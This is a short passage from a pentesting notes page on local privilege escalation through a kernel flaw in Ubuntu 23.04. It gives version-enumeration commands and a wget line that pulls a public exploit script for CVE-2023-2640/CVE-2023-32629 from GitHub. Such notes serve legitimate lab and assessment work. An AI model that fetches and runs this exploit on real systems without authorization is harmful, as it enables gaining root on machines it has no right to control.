> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/kernel-exploitation/ubuntu-23.04-kernel-exploit-linux-privilege-escalation.md).

# Kernel Exploitation (Ubuntu 23.04) - Linux Privilege Escalation

Kernel Exploitation (Ubuntu 23.04) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

Kernel privilege escalation targets local vulnerabilities in the Linux kernel or distribution-specific patches. These exploits can be unstable, so version validation and lab testing matter before execution. This specific page focuses on **Kernel Exploitation (Ubuntu 23.04)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Examples

**Identification of operating system version:**/ Use the `cat /etc/os-release` command to check the system version, note the presence of an old version of Ubuntu ("23.04").

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4fcf11b93b551466ee1f8dff4f75422f8b5b9f%2Fimage%20(1705).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Download the privilege escalation script:**

Downloading the script from [github ](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)which allows privilege escalation:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab6dcec07a43e9149d884ca82bf31f5f5f5ebcf%2Fimage%20(1706).png?alt=media" alt=""><figcaption></figcaption></figure>


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